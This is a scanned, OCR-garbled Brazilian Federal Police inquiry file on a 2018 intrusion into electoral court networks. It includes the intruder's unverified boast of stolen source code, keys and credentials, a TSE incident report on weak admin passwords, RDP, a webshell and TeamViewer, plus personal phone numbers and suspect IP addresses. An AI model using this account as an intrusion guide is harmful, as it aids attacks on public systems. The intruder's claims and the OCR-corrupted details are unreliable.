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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 
j IPL Nº 1361/2018-4 SR/PF/DF 


PORTARIA 


VICTOR NEVES FEITOSA CAMPOS, Delegado 
de Polícia Federal, lotado e em exercício na 
SR/PF/DF, em Brasília/DF, no uso de suas 
atribuições previstas no art. 144, 81º, | e IV, da 
Constituição Federal de 1988, no art. 4º e segs,, 
do Código de Processo Penal, e na Lei nº 
12.830/2013; py 1 a 
Considerando os termos do Ofício no 5825 
GAB-SPR, proveniente do Tribunal Superior 
Eleitoral, registrado nesta SRIPFIDF sob, o nº 
08200.021554/2018-33, Vo RS 


RESOLVE: o 
Instaurar Inquérito Policial, para apurar possível ocorrência do) delito 
previsto no art. 154-A, 83º do Código Penal, que veio ao conhecimento desta 
Superintendência por meio do Ofício nº 5825 GAB-SPR, proveniente: do Tribunal 
Superior Eleitoral, trazendo a notícia de suposta invasão a sistemas e bancos de 


dados do TSE, com acesso e divulgação de dados sigilosos daquele Tribunal. 


Autuada esta e os documentos acima mencionados, feitos os registros e 
anotações de praxe, DETERMINO sejam adotadas, preliminarmente, as seguintes 
providências: 


1. Expeça-se ofício à Procuradoria da República, comunicando a 
instauração deste procedimento; 


2. Apreenda-se a mídia (pen drive) encaminhada pelo Ofício nº 5825 
GAB-SPR, juntando-a aos autos, 


3. Junte-se o Ofício nº 5860 GAB-SPR, proveniente do TSE; 


4. Expeça-se ofício ao Tribunal Superior Eleitoral, endereçado ao 
Secretário de Tecnologia da Informação, sr. Giuseppe Dutra Janino, solicitando a 


IPL Nº 1361/2018 








SRIPF pr 
Fi: 


Rub: q 





SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


imagem da(s) máquina(s) supostamente invadida(s), relatório circunstanciado do 
incidente réportado no ofício ensejador da instauração do presente apuratório, bem 
como relatório circunstanciado de eventual incidente ocorrido no ano de 2018, que 
possa ter relação com o incidente reportado, indicando logs e IP's (ou outras 
informações relevantes) suspeitos que possam levar à autoria do fato, 


5. Aguarde-se em cartório a chegada da resposta ao item 3. supra, 
quando deverão os autos retornarem-me conclusos para determinação de novas 
diligências . 


CUMPRA-SE 





( 
VICTOR NEVES/FEITOSA CAMPOS 
Delegado) dê Pdlícia Federal 
Classe Espe º 16.179 


PL Nº 1361/2018 











TRIBUNAL SUPERIOR ELEITORAL 


Ofício nº 5825 GAB-SPR 
Brasília, 06 de novembro de 2018. 
A Sua Excelência o Senhor 
ROGÉRIO AUGUSTO VIANA GALLORO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


Assunto: Medidas de polícia judiciária. 


Senhor Diretor-Geral, 


Tendo em vista o teor do e-mail que acompanha o 
presente ofício (anexo - 1), bem como dos documentos e 
imagens nele veiculadas (mídia digital - anexo II), solicito a 
Vossa Excelência a adoção das medidas administrativas de 
polícia judiciária pertinentes. 


Atenciosamente, 


Mi ás WEBER 


Presidente 

















TRIBUNAL SUPERIOR ELEITORAL 


ANEXO I 


De: Felipe Payão [mailto:felipe.cruzQQgruponzn.com] 

Enviada em: terça-feira, 6 de novembro de 2018 13:47 

Para: Imprensa; silvana freitasQtre-sp.jus.br 

Assunto: Re: TecMundo - Possível acesso ao GEDAI/Documentos 








Os arquivos estão no ZIP, como indiquei na ligação. 

Obrigado 

Em 6 de novembro de 2018 12:36, Felipe Payão <felipe.cruz(Mgruponzn.com> 
escreveu: 

Olá. Tudo bem? 

Recebemos alguns documentos e imagens de uma suposta invasão ao sistema GEDAI e 
outras informações sigilosas referentes aos processos do TSE. Antes de uma provável 


publicação, gostaríamos de compartilhar o material com vocês. ' 


Este seria o melhor canal? 
Obrigado 


4 


Felipe Payão 
Repórter 
TEL. +55 11 5083.1018' 


ceL +55 11 972827444 
HTTP:4 NZn.io 














TRIBUNAL SUPERIOR ELEITORAL 


Ofício nº 5860 GAB-SPR 
Brasília, 07 de novembro de 2018. 
A Sua Excelência o Senhor 
ROGÉRIO AUGUSTO VIANA GALLORO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


Assunto: Medidas de polícia judiciária - continuação. 


Senhor Diretor-Geral, 


Encaminho a Vossa Excelência cópia do e-mail recebido 
nesta data (anexo-l), em complementação aos documentos de 
que trata o Ofício nº 5860 GAB-SPR, de 06.11.2018. 


Atenciosamente, 


Lo WEBER 


Presidente 


TRIBUNAL SUPERIOR ELEITORAL 


ANEXO I 





De: Felipe Payão [mailto:felipe.cruzgruponzn.com 

Enviada em: quarta-feira, 7 de novembro de 2018 16:46 

Para: Imprensa 

Assunto: Re: TecMundo - Possivel acesso ao GEDAI/Documentos 





Olá, 


Vocês teriam como nos enviar um posicionamento ainda hoje? 


t 


Obrigado 


Em 7 de novembro de 2018 16:12, Felipe Payão <felipe.cruz onzn.com> 
escreveu: 
Olá, 


Esqueci de incluir o texto que acompanhou os documentos explicando como foi 
realizada a suposta invasão ao GEDAI e intranet. Segue abaixo: 


Devido a falhas/vulnerabilidades de aplicações desenvolvidas pelo próprio TSE, acabei 
obtendo acesso remoto, a um dos equipamentos ligado a rede. 


Desta forma, tive acesso a rede interna (intranet), e por vários meses, fiquei explorando a 
rede, inclusive entrando em diversas máquinas diferentes do TSE, em busca de 
compreender, o funcionamento do sistemas de votação. 


Com isso, obtive milhares de códigos-fontes, documentos sigilosos, e até mesmo, 
credenciais, sendo login de um ministro substituto do TSE (Sérgio Banhos), e diversos 
técnicos, alguns sendo ligados a alta cúpula de T.!, do TSE, ligado ao pai das urnas* 
(Giuseppe Janino). 


Passados algumas semanas em que estive utilizando os equipamentos de rede do TSE, 
notei via e-mail's dos técnicos da STI, que os mesmos notaram tráfego suspeito (devido ter 
tido utilizados programas de scan, na rede), fizeram uma pericia para detalhar como o 
invasor conseguiu obter acesso ilegal a rede, mas mesmo com todos estes procedimentos 
de segurança que dotaram, incluindo a alteração de senhas de todas as contas, acabou 
não sendo suficiente para interromper meu acesso, aos e-mails, e também a rede interna. 


Notei que em 07/09 (data de execução do pleito eleitoral de 2018), os técnicos cortaram, 
acesso ao VPN, e ao Correio, talvez para justificar, que as urnas não possuem conexão a 
internet, mas isso é bem assim, pois qualquer cidadão com conexão a internet, e 
conhecimento para tal, exemplo: controle remoto de qualquer servidor que dispõe de 
conexão a internetfintranet, poderia ser utilizado para manipulação, de aplicações 








a 





TRIBUNAL SUPERIOR ELEITORAL 
responsáveis pelo sistema de votação, como o Intercad (aplicação WEB/JAVA), ligada aos 
TRE'S. 


Outra coisa, obtive juntamente com o código-fonte que compõem o funcionamento das 
urnas, as chaves que são utilizadas. 


Estou anexando mais algumas imagens em um arquivo ZIP, confirmando a obterição do 
código-fonte, e também de documentos sigilosos que podem comprometer o pleito. 


Obs: Somente o código-fonte descompactado (GEDAI-UE), ultrapassa 3GBs, sendo que 
obtive milhares de outros códigos, como Cand-web.” 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
CORREGEDORIA REGIONAL DE POLÍCIA FEDERAL - COR/SR/PF/DF 


Assunto: Notícia-crime 

Destino: DRCOR/COR/SR/PF/DF 
Processo: 08200.021554/2018-33 
Interessado: TSE 


L. Trata-se de ofício encaminhado pela Excelentíssima Ministra Presidente do Tribunal 
Superior Eleitoral, ROSA WEBER, comunicando e solicitando a adoção de medidas de polícia judicária 
pela Polícia Federal, diante da possível invasão ao sistema GEDAI e acesso à documentos sigilosos do 

68 Tribunal Superior Eleitoral, fato que se amolda, em tese, ao crime previsto no art. 154-A, 83º, do Código 
Penal Brasileiro. 


2 Encaminhe-se o expediente à DRCOR para instauração de Inquérito Policial, procedendo- 
se as atualizações nos sistemas SEI/SISCART. 


RODRIGO DA SILVA BITTENCOURT 
Delegado de Polícia Federal 
Corregedor Regional 


a" | Documento assinado eletronicamente por RODRIGO DA SILVA BITTENCOURT, Corregedor Regional, 
Kã : em 07/11/2018, às 18:52, conforme horário oficial de Brasília, com fundamento no art. 6º, 8 18, do 
à Decreto nº 8.539, de 8 de outubro de 2015. 










Eh + À autenticidade deste documento pode ser conferida no site 
xe http://sei dpf. gov. br/sei/controlador externo. php? 
ira acao=documento conferir&id orgao acesso externo=0, informando o código verificador 8890655 e . 


Ee AETE O código CRC 28CC6EDA. 






Referência: Processo nº 08200.021554/2018-33 SEI nº 8890655 


Dema rt o tc 1452699&infra siste... 1/1 
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SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL | 
SAIS Quadra 7 - Lote 23'- Setor Policial Sul - Brasília/DF - CEP 70.610-902 


DESPACHO Nº 6386/2018 - DRCOR/SR/PF/DF 


E) 


E ando 021554/2018-33 7 ú e Rue” 
Referências: [Ofício nº 5825 GAB-SPR e A 


; (DISTRIBUIÇÃO) | 





em Instauração de Inquérito Policial -- 


Encaminhe-se [o presente expediente ao Delegado de Polícia Federal a 


VICTOR NEVES FEITOSA CAMPOS para a nica de Inquérito Policial. 


a os registros de a no SISCARTISEI. 






Brasília/DF, 08 de novembro de 2018. 





ÍUGO DE BARROS CORREIA 
Delegado de Polícia Federal 
Chefe da DRCOR/SR/PF/DF 
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4 
SERVIÇO PÚBLI O FEDERAL 
MSP - POLICIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


Ofício nº 8663/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 09 de novembro de 2018. 


A Sua Senhoria, o Senhor 

Giuseppe Dutra Janino 

Secretário de Tecnologia da Informação 

Tribunal Superior Eleitoral 

Setor de Administração Federal Sul, Quadra 7 - Asa Sul, tel.: (61) 30308881/8882 
gab.stiQtse.jus.br 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhor Secretário, 


Visando à apuração dos fatos noticiados no ofício nº 5825 GAB-SPR, 
solicito a Vossa Senhoria encaminhar a imagem da(s) máquina(s) supostamente 
invadida(s), relatório circunstanciado do incidente reportado no ofício ensejador da 
instauração do presente apuratório, bem como relatório circunstanciado de eventual 
incidente ocorrido no ano de 2018, que possa ter relação com o incidente reportado, 
indicando logs e IP's (ou outras informações relevantes) suspeitos que possam levar à 
autoria do fato. 





Atenciosamente, 
VICTOR 
Del 
42 Classe - Matrícula nº 16.179 
do de SA ça 
Leo Ga policia 
o de 4536. 
Esp 


IPL Nº 1361/2018 fis. 1/1 














SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 
AUTO DE APREENSAO Nº 714/2018 
IPL-1361/2018-4-SR/PF/DF 


Aos, 09 dia(s) do mês de novembro de 2018, nesta SUPERINTENDÊNCIA REGIONAL 
DE POLÍCIA FEDERAL NO DISTRITO FEDERAL, em Brasília/DF, onde se encontrava 
VICTOR NEVES FEITOSA CAMPOS, Delegado de Polícia Federal, na presença das 
testemunhas HELIO GRAÇA MOUTA FILHO e SIMONE MENDES DE ANDRADE, 
ambos Escrivães de Polícia Federal, lotados e em exercício nesta SR/PF/DF, pelo 
mesmo foi determinado que se tornasse efetiva a apreensão, na forma da Lei, do 
material abaixo discriminado: 


Apreensão nº: 714/2018 


ItemDescrição | Quant. | Unidade Observação 


1 IPen drive 1 UN PEN DRIVE, MARCA SANDISK, 

NAS CORES VERMELHA E 

PRETA, ENCAMINHADO PELO 
OFÍCIO Nº 5825 GAB-SPR. 


Referida apreensão se deu em cumprimento ao Item 2 do Despacho inaugural da 











Autoridade Policial (fls. 02). Nada mais havendo, determinou a autoridade o 
encerramento do presente que, lido e achado conforme, assinam comigo, EDVALDO 
SOUZA NASCIMENTO, Escrivão É alicia Federal, as testemunhas. 






AUTORIDADE. ................ 


pra 


TESTEMUNHA: ...............l DR ce RPE Er Ref 






TESTEMUNHA. .............. 


ESCRIVÃO( .... 77 à A fi pr 
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MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 


Ofício nº 8726/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC 


+ 


Brasília/DF, 09 de novembro de 2018. 


A Sua Excelência o(a) Senhor(a) 
Procurador(a) da República 

Procuradoria da República no Distrito Federal 
SGAS 604, Lote 23 - Avenida L2 Sul 


Assunto: Comunica Instauração de Inquérito Policial 
Ref.: IPL 1361/201 8-4 - SR/PF/DF (Citar principalmente este nº em eventual resposta) 


' 


Senhorça,Procuradorça) 


Comunico a Vossa Excelência que, em resposta ao Ofício n.º 5825, 
protocolado nesta SR/DPF/DF sob o nº 08200021554201833, foi instaurado o Inquérito 
Policial 1361/2018-4 - SR/PF/DF, sob a presidência desta Autoridade signatária, 
invasão ao sistema GEDAI e acesso a documentos sigilosos do TSE. 


Atenciosamente, 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL nº 1361/2018-4 - SR/PF/DF 
DESPACHO 


1. Juntem-se os Ofícios nº 6297 STl e 6322 STI. 


2. Encaminhe-se o material (pen drive e discos rígidos) que 
acompanharam os expedientes supra citados ao Serviço de Repressão a 
Crimes Cibernéticos da CGPFAZ, solicitando analisar o material e confirmar os 
endereços IP dos acessos e eventual vinculação do episódio de abril com o 
ocorrido em setembro e outras informações que possam levar à autoria do fato 
delituoso. 


3. Considerando o vencimento do prazo de permanência dos autos 
no âmbito policial, remetam-se ao MPF/DF com solicitação de concessão de 
novo prazo para continuidade das investigações. 












á DATA 
Ao(s) 07 1/21 , recebi estes autos conclusos 
Delegado(a) VICTOR NEVES FEITOSA COME / matricula 
16.179, com 1 volume(s) e O apenso(s). Eu, E A 

EDVALDO SOUZA NASCIMENTO, Escrivão de/Polícia Federal 
Classe Especial, Matrícula nº 926, que o lavrei. 


«e dota 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 6297 STI 
Brasília, 16 de novembro de 2018. 


A Sua Senhoria o Senhor 


Victor Neves Feitosa Campos 


» 


Delegado de Polícia Federal - 
Polícial Federal - Superintendência Regional no Distrito Federal 


Brasília - DF 
Õ 


Assunto: Resposta. Solicitação de Informações. IPL 1361/2018-4 - SR/PF/DF ; 


Senhor Delegado, 


1. Trata-se de encaminhar disco rígido contendo artefatos envolvidos em incidente 
de segurança ocorrido na rede da Justiça Eleitoral, que abriu precedente para que pessoas 
alheias à rede desta Justiça Especializada tivessem acesso a dados sensíveis. 


2. São os artefatos contidos no HD: 


- Log de acesso à VPN do TRE-PB. Enviado log completo bem como log do usuário 
Oy Digitro; 

- Cópia da máquina virtual do TRE-RN, que foi invadida durante o evento; 

- Cópia de três máquinas do TRE-BA que foram invadidas durante o evento de Abril; 

- Relatório do TRE-PE contendo detalhamento do evento de Abril; 


- Arquivo texto contendo resumo do evento de Abril de 2018. 


f 


Atenciosamente, 





GIUSEPPE DUTRA JANINO . 
SECRETÁRIO DE TECNOLOGIA DA INFORMAÇÃO 


[8] Documento assinado eletronicamente em 30/11/2018, às 19:42, conforme art. 1º, 82º, III, 
b, da Lei 11.419/2006. 


https://sei.tse.jus.br/sei/controlador.php?acao=documento. imprimir web&acao origem=arvore visualizar&id documento=981869&infra sistema... 
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03/12/2018 SEI/TSE - 0926840 - Ofício 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 6322 STI 
Brasília, 3 de dezembro de 2018. 


A Sua Senhoria o Senhor 
Victor Neves Feitosa Campos 
Delegado de Polícia Federal 
Polícial Federal - Superintendência Regional no Distrito Federal 
Brasília - DF 
8 


Assunto: Complementação. Resposta. Solicitação de Informações. IPL 1361/2018-4 - SR/PF/DF 


Senhor Delegado, 


1. Trata-se de encaminhar pendrive e HD externo contendo artefatos envolvidos em 
incidente de segurança ocorrido na rede da Justiça Eleitoral, que abriu precedente para que 
pessoas alheias à rede desta Justiça Especializada tivessem acesso a dados sensíveis. 


2. Os artefatos são: 
- Logs de ações dos usuários Cristiano Andrade, Sergio Banhos e Rodrigo Coimbra; 


E - Imagens de diálogos entre Cristiano Andrade e Marcelo Carneiro, evidenciando 
incidente ocorrido em 1º de maio; 


- Relatório circunstanciado dos incidentes ocorridos e abril e setembro de 2018; 


- Cópia da máquina virtual do TRE-RN. 


Atenciosamente, 





ELMANO AMÂNCIO DE SÁ ALVES 
SECRETÁRIO(A) DE TECNOLOGIA DA INFORMAÇÃO - SUBSTITUTO(A) 


gs) Documento assinado eletronicamente em 03/12/2018, às 16:39, conforme art. 1º, 82º, III, 


b, da Lei 11,419/2006. 








A autenticidade do documento pode ser conferida em 


https: //seitse.jus.br /sei/controlador externo.php? 


acao=documento conferir&id orgao acesso externo=0&cv=0926840&crc=61BAC466, 


https:/Isei tse jus.br/sei/controlador.php?acao=documento, imprimir. web&acao. origem=arvore visualizar&id documento=9836538infra sistema... 1/2 











031 2/2018 SEI/TSE - 0926840 - Ofício 


Rá É ] fer [8] informando, caso não preenchido, o código verificador 0926840 e o código 
À: 61BAC466. 















2018.00.000014722-6 Documento nº 0926840 v4 


https://sei.tse jus.br/sei/controlador.php?acao=documento imprimir web&acao origem=arvore visualizar&id documento=983653&infra sistema... 2/2 
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SElNico PÚBLICO FEDERAL de çÃ 
S'MSRy POLÍCIA:FEDERAL AL, 


SUPERINTENDÊNCIA, REGIONAL'NO:DISTRITO FEDERAL 
QISAIS Quadra;7,- Lote 23; Setor, Policial Sul- Brasilia/DF a CEP;70.610-90244, 
Memorando nº 5970/2018: IRL '1361/2018:4 SR/PFIDE = GRCC o grogas 


| ma "a MESSA-IFDE Em-07-de'dezembro de 2018. 


“Jão 07/12/2018, faço rerhessa dos autos do IPL nÍ 
1391/2018-4, contendo 1 volume(s) e0 apanso(s), RI 
AoA; Exmo: 'senhor.Chefe do Serviço de” Représsão arCrimes Cibérnéticos da 

CGPFAZ | Procuradoria da Repúbiza no-Lisimo rederai, nos termos d 

rtigo 2º da Resojução nº 63, do Conselho da Justiça 

Assunto: Ea Snalie dE, material VSEE O -SQUZA NASCIMENTO 

corivêo de Polígia Fedora), Classe Ret Ma 2 

OD lua lavrei a pres 













cio ti 


nte. 


do Senhor Chefe, 


Objetivando instruir.os.autos-do IPL 1361/2018-4 SR/PF/DF - GRCC 
encaminho a Vossa Excelência os materiais que se fazem acompanhar dos Ofícios nº 
6297 STl e 6322 STI, (pen drive e discos rígidos), para fins de análise dos mesmos e 
confirmação dos endereços IP dos acessos e eventual vinculação do episódio de abril 
com o ocorrido em setembro e outras ipiórmaçães que possam levar à autoria do fato 
delituoso. . 


Atenciosamente, 





IPLNº 1361/2018 


tr $2312018 











SRDPFIDE d0| 
pres spNTO 


16 JAN 2819 Rss 


contendo , LO epenano 
Do que, cor: 
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MJ.-DEPARTAMENTO DE POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
DELEGACIA DE REPRESSÃO A CRIMES FAZENDÁRIOS 
















CERTIDÃO 





CERTIFICO QUE, NESTA DATA RECEBI DO SENHOR CHEFE DO 
NUCART OS PRESENTES AUTOS PARA PROSSEGUIMENTO DOS 
TRABALHOS AFETOS A ESTE APURATÓRIO, EM ASSIM, FAÇO 
CONCLUSOS AO SENHOR DELEGADO DE POLÍCIA FEDERAL 
VICTOR NEVES FEITOSA cao PARA DELIBERAR, DO 
QUE PARA CONSTAR, LAVRO ESTE TERMO. O REFERIDO É 
VERDADE E DOU FÉ. Edf DO SOUZA NASCIMENTO, 
ESCRIVÃO DE POLÍCIA FEDERAL, MATRC. 926. 
BRASÍLIA, 24 DE JANEÍRO DE 2019. 















CONCLUSÃO 








SENHOR DELEGADO DE POLÍCIA FEDER VICTOR NEVES 


NESTA DATA, FAÇO CONCLUSOS OS PERA TES AUTOS AO 
DO. QUE, PARA 









CONSTAR, LAVRO ESTE TERMO. El 
NASCIMENTO, ESCRIVÃO DE POLIC 
BRASÍLIA, 25 DE JANEIRO DE 2019. mam. 





SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL nº 1361/2018-4 - SR/PF/DF 
DESPACHO 


1. Junte-se o Ofício nº 296 GAB-SPR. 


2. Expeça-se ofício de resposta ao item 1 supra informando que o inquérito 
está em andamento, restando pendente, atualmente, análise por parte do Serviço de 
Repressão a Crimes Cibernéticos do material encaminhado pelo TSE. 


3. Verifique-se se consta em cartório resposta ao Memo de fl. 20. Em caso 
positivo, junte-se e retornem-me conclusos. Em caso negativo, reitere-se e squarae se 
em cartório por 30 dias ou até a chegada da resposta. 







Brasília/DF, 20 de fevereiro de 2019. - 


VICTOR NEVES FEITOSA CAMPOS 
Deledado de Polícia Federal 
Classe Especial - Matrícula-nº 16.179 








| nl 
NESTA DATA, RECEBI OS PresiT 

SINTES A 
SENHOR DELEGADO DE PFoLita PE f 
O DESPACHO SUPRA, DOs2 ) 
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IPL Nº 1361/2018 








SERVIÇO P PÚBLICO FEDERAL: 
-MSP - POLÍCIA FEDERAL 


“SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 






“JUNTADA 
Aos 26/02/2019, faço juntada do(s s) seguintes documento(s ; 
GAB-SPR, referido(s) no Despacho retro. Eu, Já 


SOUZA NASCIMENTO, Escrivão de Policia Federal, Classe é Espei, Matrícula 
nº 926, que o lavrei 


o Ofício nº 29d | 











PL Nº 1361/2018 

















PROTOCOLO - SE] 
SERAICOADIDLOGIPF 





Ofício nº 296 GAB-SPR 


Brasília, 01;de fevereiro de 2019. 
Rio A Sua Excelência o Senhor 


9) 
; Dr. MAURÍCIO LEITE VALEIXO Si a 
od Diretor-Geral da Polícia Federal 
o Brasília - DF ( É: TA | dO) 3 


Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 


PN Senhor Diretor-Geral, 


Reiterando o Ofício nº 5979 GAB-SPR, de 20/ 11/2 
carater reservado, serem enviados a mim os resultados da investigaçã 


- a esse Departamento por meio do Ofício nº 5825 GAB-SPR. 


Atenciosamente, 


; RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


o eos a treme 











eq 


RICARDO FIOREZE a 
É & do JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
g E) Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art.'1º, 628, 11, 


K b, da Lei 11.419/2006. 




















marirm 





















ya] À autenticidade do documento pode ser'conferida em 

DS PECA https: //seitse jus.br/sei/controlador externo.php? , 
Adr acao=documento conferir&id orgao acesso externo=0&cv=0963982&crc=B7C9F9BA 
REMO ca ses ITS OF : , . 


pehitosas informando, caso não preenchido, o código verificador 0963982 e o'código CRC 
cars B7CIFIBA. 


Crer mera e meet 





2018.00.000014309-3 Documento nº 0963982 v4. 























O A o 
SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício nº 1468/2019 - PL. 1361/2018-4 pidid E Led GRCC - 


Brasilia/DF, 26 de fevereiro de ore: a 


A Sua Excelência, o Senhor 

RICARDO FIOREZE 

Juiz Auxiliar da Presidência do Tribunal Superior Eleitoral 
eler de mn diga Sul (SAR). Quadra 7, Lotes neo Tel. (61) 3030- ee 





Assunto: Solicitação de informações 
Ref.: IPL 1361 12018-4 - SR/PF/DF - - (Favor citar essa referência na aradposi) 


Senhor Juiz Auxiliar, 


Visando instruir os autos do Inquérito Policial nº 1361/2018:4] e 
SR/PF/DF, informo a Vossa Excelência que o inquérito está em andamento, restando 


pendente, atualmente, análise por parte do Serviço de Repressão a Crimes”. | 


Cibernéticos do material encaminhado pelo TSE. 






Atenciosamente, 


/ E 
/ "Delegado de Polícia Federal 
Classe Especial - Matrícula nº 16.179 


inn 


IPL Nº 1361/2018 Ss po A ie, q e oo DAE 











SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL nº 1361/2018-4 - SR/PF/DF 


1. Junte-se o relatório de incidente produzido pela equipe de TI do TSE. 


2. Junte-se a Informação nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF. 


3. Formalize-se a apreensão do disco rígido externo e do pen drive que 
acompanham a informação, encaminhando-se, em seguida, ao depósito desta 
Superintendência. 


4. Oficie-se à empresa Locaweb Serviços de Internet S/A, requisitando os 
dados cadastrais do usuário do IP 191.252.64.20, em 17/04/2018, às 21:46:26 e 
18/04/2018, às 06:36:35, bem como o conteúdo referente à hospedagem que utilizou o 
IP 191.252.0.19, em 1BnaizOdo: as 00:23:48. 


5. Oficie: -se à empresa Claro S/A, requisitando os dados cadastrais dos 
usuários do IP 201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 
08:36:42, e do IP 201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 
05:48:59. 


6. Oficie-se à empresa Tim Celular S/A, Feanistanos os dados cadastrais 
dos usuários dos IP: 
189.40.75.154, em 18/04/2018, às 18:56:14 
191.51.34.72, em 18/04/2018, às 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, às 20:56:20 
189.40.72.247, 18/04/2018, às 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
- 189.40.91.135, em 18/04/2018, às 22:29:37 
189.40.90.239, em 19/04/2018, às 01:13:32 
189.40.90.253, em 19/04/2018, às 04:08:37 


?. Aguarde-se em cartório resposta ao expediente citado no item 4 supra, 
observando-se q vencimento do prazo de permanência deste apuratório no âmbito 
desta Polícia Judiciária da União a quando deverá ser remetido ao 
NUCART, independente de novo despacho, o de remessa do feito ao 
Ministério Público Federal do DF, com ii df concessão de novo prazo. 


q | / Brasília/DF, 17 de abril de 2019. 
VICTOR NEVES FEITÓSA CAMPOS 


Delegado de leia Federal 
Classe Especial - Matrícula nº 16.179 


IPL Nº 1361/2018 








| : TRIBUNAL SUPERIOR ELEITORAL 


COORDENADORIA DE INFRAESTRUTURA 
SEÇÃO DE SUPORTE OPERACIONAL 





AO Sr. SECRETÁRIO DE TECNOLOGIA DA INFORMAÇÃO, 


Venho através desse documento, relatar o incidente de rede ocorrido no período de 18 de abril 
a 21 de abril de 2018 que veio a afetar ativos de rede e servidores da rede interna do TRE-PE, bem 
como de toda a justiça eleitoral. 


No dia 20 de abril de 2018 às 15:06 da tarde, foi detectado pela equipe do Tribunal Regional 
de Pernambuco, acesso indevido ao seu servidor de banco de dados, com acesso oriundo da máquina 
plank.tre-m.jus.br (10.16.140.49) um dos servidores de banco de dados do Tribunal Regional 
Eleitoral de Pernambuco. 


Tendo em vista não ser normal o acesso de banco de dados entre Regionais, iniciou-se 
investigação para saber a origem do acesso. Verificou-se que houve o comprometimento de um 
servidor WEB do Tribunal Regional do Rio Grande do Norte, a partir do qual o atacante começou a 
realizar acesso a vários regionais, dentre eles BA, GO, e SP. 


Verificou-se que os acessos ao banco do TRE-PE, foram realizados a partir da máquina 
10.16.140.49 e da máquina spmalote01 .tre-sp.gov.br (10.1.1.215) do TRE-SP. O banco de dados 
acessado chama-se SIMPLA. 


A partir daí, houve relatos sobre escaneamentos de rede e tentativas de intrusão de vários 
locais dentro da Justiça Eleitoral, tais como TRE-AC, TRE-PR, TRE-CE, TRE-BA, TRE-PB. 


Em seguida, houve o relato, por parte do TRE-AP, de que uma de suas máquinas Windows 
havia sido comprometida, utilizando um usuário de administração do TSE. Esse usuário é antigo e 
deveria estar desativado. A senha era de fácil dedução. A partir dessa máquina, foi acessado um 
servidor de domínio no TSE. 


A máquina TRE-AP (10.25.30.13) foi utilizada pelo usuário administrador TRE-AP/tse (tela 
04) para acessar outras máquinas da Justiça Eleitoral (tela 01). 


No momento que acessamos a máquina, ele estava acessando a máquina do TSE 10.30.1.221 
com o usuário TSE/suporte para visualizar os logs do exchange (tela 02 e 03). 


Vimos no log do Windows que ele também tentou acessar outros IP's do TSE. 
Tela 05 exibe o invasor acessando o webshell da máquina 10.1.1.127. 


Lista de IPs de origem que acessaram nossa máquina via RDP: 10.12.2.7,10.12.2.29 e 
10.12.2.41. 


O primeiro acesso foi realizado dia 20/04/2018 e o teamviewer foi instalado dia 22/04/2018. 
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ID de parceiro 


ah no OQ contro ps 
Acesso não supelvision... 


(2) iniciar o Teammemer com windows 
(2) Ainbuido a Conta do TSE 
(2) Conceder acesso táci 


28/06/2015 20:09 
apujeon Bim 

2 meb 30/06/Z0N6 1215 Arquivo CONFIG 

LO Web.Config backup by Ev. 1 2Hosj20t2 11:3% arqurol 

3 Wob.Corfig.backup by Ev.2 OMfoszOis 12 siquivo? 

1 Web.Config backup by EV.3 aBjoejros 200% — Arquivo3 

